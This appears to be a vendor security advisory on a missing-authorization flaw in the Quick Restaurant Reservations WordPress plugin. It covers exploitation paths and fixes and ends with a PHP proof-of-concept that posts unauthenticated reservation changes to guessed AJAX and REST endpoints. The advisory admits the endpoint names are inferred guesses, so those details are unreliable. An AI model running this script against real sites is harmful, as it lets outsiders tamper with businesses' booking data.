Atomic Edge analysis of CVE-2026-24529 (metadata-based):
The Quick Restaurant Reservations WordPress plugin contains a missing authorization vulnerability in versions up to and including 1.6.7. This flaw allows unauthenticated attackers to execute privileged plugin functions, potentially manipulating reservation data or plugin settings. The CVSS 5.3 score reflects a network-accessible attack with low attack complexity that impacts integrity without affecting confidentiality or availability.
CWE-862 indicates the plugin fails to verify user permissions before executing sensitive functions. Atomic Edge research infers this likely occurs in an AJAX handler or REST API endpoint that processes reservation management operations. The description confirms the vulnerability exists in a specific function lacking capability checks, though the exact function name remains unconfirmed without source code. WordPress plugins commonly expose such functions through wp_ajax_nopriv hooks or unsecured REST endpoints.
Exploitation requires sending crafted HTTP requests to vulnerable endpoints. Attackers would target /wp-admin/admin-ajax.php with action parameters containing plugin-specific hooks, or /wp-json/quick-restaurant-reservations/v1/ endpoints if REST API is enabled. The payload would include parameters for reservation creation, modification, or deletion. Since no authentication is required, attackers can directly submit POST requests with malicious data.
Remediation requires adding proper capability checks before executing sensitive functions. The plugin should verify current_user_can() with appropriate capabilities like manage_options or edit_posts before processing requests. WordPress nonce verification should also be implemented to prevent CSRF attacks. The patch must ensure all administrative and data manipulation functions validate user permissions.
Successful exploitation allows unauthenticated attackers to perform unauthorized actions within the reservation system. This could include creating fake reservations, modifying existing bookings, deleting reservation data, or altering plugin configuration. While the vulnerability does not enable direct code execution or data exfiltration, it compromises data integrity and could disrupt restaurant operations.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-24529 - Quick Restaurant Reservations <= 1.6.7 - Missing Authorization
<?php
/**
* Proof of Concept for CVE-2026-24529
* Assumptions based on WordPress plugin patterns:
* 1. Plugin uses AJAX handlers via admin-ajax.php
* 2. Missing capability check on reservation management function
* 3. Function name likely contains 'quick_restaurant_reservations' or 'qrr'
* 4. Parameters follow typical reservation data structure
*/
$target_url = 'http://vulnerable-site.com/wp-admin/admin-ajax.php';
// Common AJAX action patterns for this plugin
$possible_actions = [
'quick_restaurant_reservations_save_reservation',
'qrr_save_reservation',
'quick_restaurant_reservations_update',
'qrr_update',
'quick_restaurant_reservations_delete',
'qrr_delete'
];
foreach ($possible_actions as $action) {
$post_data = [
'action' => $action,
'reservation_id' => '1',
'customer_name' => 'Atomic Edge Test',
'customer_email' => 'test@atomicedge.example',
'reservation_date' => date('Y-m-d'),
'reservation_time' => '19:00',
'party_size' => '4',
'status' => 'confirmed'
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
echo "Testing action: {$action}n";
echo "HTTP Code: {$http_code}n";
echo "Response: {$response}nn";
curl_close($ch);
// If we get a 200 with plugin-specific response, vulnerability may exist
if ($http_code == 200 && (strpos($response, 'success') !== false || strpos($response, 'reservation') !== false)) {
echo "[+] Potential vulnerable endpoint found: {$action}n";
break;
}
}
// Alternative REST API endpoint test
$rest_url = 'http://vulnerable-site.com/wp-json/quick-restaurant-reservations/v1/reservations';
$ch = curl_init($rest_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode(['test' => 'data']));
curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/json']);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code != 404 && $http_code != 401) {
echo "Testing REST endpoint: {$rest_url}n";
echo "HTTP Code: {$http_code}n";
echo "Response: {$response}n";
}
?>
